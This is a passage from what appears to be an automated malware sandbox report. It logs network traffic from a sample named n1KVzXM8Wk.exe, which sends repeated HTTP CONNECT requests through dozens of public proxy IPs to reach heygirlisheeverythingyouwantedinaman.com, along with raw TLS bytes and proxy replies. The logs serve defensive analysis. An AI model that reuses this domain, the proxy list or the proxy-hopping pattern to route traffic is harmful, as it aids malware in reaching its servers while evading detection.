Feb 23, 2024 09:45:27.754827976 CET	536	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 ff f4 87 eb ff c9 d1 c0 b9 44 f8 6d 17 24 7e 84 20 53 4a bc f7 da e7 8d 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9Dm$~ SJDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240223082251Z260222082251Z03110/U(heygirlisheeverythingyouwantedinaman.c
Feb 23, 2024 09:45:27.754836082 CET	536	IN	Data Raw: 01 00 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 a8 34 98 ce 77 f5 7f 42 2f 5c 7d 4a cd e4 a6 28 69 f0 5f 5d 3d b8 38 c4 e8 7c 48 7f 49 e7 3a 63 25 f0 75 a1 24 96 62 86 76 46 86 bf c2 8e 5e 0e 14 54 b3 6b db a3 5f 80 23 6e 21 Data Ascii: 0H4wB/\}J(i_]=8\|HI:c%u$bvF^Tk_#n!W$8zjp: };"yJD2B[`pQ0/c%_zdsngu?n6.&3MWoZL,J\|3Zr)*Q)noh
Feb 23, 2024 09:45:27.754913092 CET	57	IN	Data Raw: b3 52 26 39 7e fe 8f 8a b2 2e 08 85 d9 36 62 40 b8 30 82 47 26 cd 42 f8 90 a6 3e 1c 25 7c a7 17 cc 5c a3 9a 64 78 28 9f 1e 16 ba 87 d8 01 65 7a 16 03 03 00 04 0e 00 00 00 Data Ascii: R&9~.6b@0G&B>%\|\dx(ez
Feb 23, 2024 09:45:27.757591009 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 4e ec dd 73 00 bf 5a 2b ba 0b ee 6d 31 02 5c 77 0f 89 1e ad 7a c5 dc e4 3d 01 cf d9 79 6b bb 26 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 9b ef 10 bd 3f 60 b0 64 30 d9 58 cb 76 1f b8 60 51 fb 2d 36 e4 Data Ascii: %! NsZ+m1\wz=yk&(?`d0Xv`Q-65L]j]
Feb 23, 2024 09:45:28.042707920 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 fd 5a d7 60 0a 56 21 7b 9b 36 8e ff f5 69 74 ea e1 13 65 13 fa a0 68 2b d2 04 39 15 da 6f 47 64 ff f6 e9 63 f2 c4 32 70 Data Ascii: (Z`V!{6iteh+9oGdc2p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1404	192.168.2.4	53980	171.244.140.160	53882	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.205622911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.943897009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.147125006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1405	192.168.2.4	53498	148.66.130.53	47011	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.205651999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.365668058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.366035938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.365936041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1406	192.168.2.4	53754	142.93.66.245	42649	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.230886936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1407	192.168.2.4	54035	41.65.236.37	1981	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.255234003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.975202084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.975315094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.975254059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.975246906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.975127935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1408	192.168.2.4	54071	35.199.90.225	8888	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.313906908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.539737940 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1409	192.168.2.4	54057	116.62.19.215	7890	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.313908100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.676192045 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1410	192.168.2.4	53717	107.180.101.226	55873	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.320456028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.834405899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1411	192.168.2.4	54064	103.216.49.151	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.320904016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1412	192.168.2.4	53467	142.54.239.1	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.337634087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1413	192.168.2.4	50845	91.136.142.153	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.351931095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1414	192.168.2.4	54089	73.210.245.19	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.369271994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.834409952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.219445944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.147077084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1415	192.168.2.4	53726	166.62.85.184	21946	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.369690895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.365859985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1416	192.168.2.4	50999	50.62.134.139	62607	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.369744062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.365854025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.366051912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.365936995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1417	192.168.2.4	53046	212.110.188.213	34411	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.389631987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.474920988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.475481033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.475208044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1418	192.168.2.4	54074	45.138.87.238	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.407510996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1419	192.168.2.4	53490	92.246.139.113	32244	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.407787085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1420	192.168.2.4	54096	31.207.38.66	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.415540934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.590538979 CET	408	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 23 Feb 2024 08:45:27 GMT Server: Apache Allow: GET,POST,OPTIONS,HEAD Content-Length: 224 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 43 4f 4e 4e 45 43 54 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method CONNECT is not allowed for this URL.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1421	192.168.2.4	54076	79.110.196.145	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.418751001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1422	192.168.2.4	50968	65.49.82.7	40202	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.418766975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.477874994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.647198915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1423	192.168.2.4	50920	51.75.125.208	41649	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.424371958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.477854967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1424	192.168.2.4	50981	154.83.29.105	3030	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.438575983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.245099068 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1425	192.168.2.4	54036	117.160.250.163	9999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.438812017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.475092888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.941292048 CET	221	IN	HTTP/1.1 403 Access Denied Date: Fri, 23 Feb 2024 08:45:28 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1426	192.168.2.4	53731	115.144.163.193	11087	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.439819098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.477950096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.092981100 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1427	192.168.2.4	51210	82.165.208.126	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.464060068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.475120068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.475399971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.475214005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:51.475195885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1428	192.168.2.4	54111	104.16.105.198	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.464081049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.552122116 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1429	192.168.2.4	54073	92.246.139.106	33328	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.473483086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1430	192.168.2.4	53734	202.8.74.10	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.477679968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.477971077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.997713089 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1431	192.168.2.4	54092	125.228.94.199	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.495353937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1432	192.168.2.4	53072	1.15.62.12	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.520071983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1433	192.168.2.4	53788	51.75.42.129	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.531693935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.586045027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.647233963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1434	192.168.2.4	51170	92.205.110.47	50709	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.537039042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.680195093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.684288979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.683681965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:51.709290981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:03.709297895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:15.756182909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1435	192.168.2.4	54078	103.174.236.63	10801	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.539518118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1436	192.168.2.4	54087	14.103.26.53	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.542443991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.882478952 CET	339	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.19.2 Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/html Content-Length: 177 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 39 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx/1.19.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
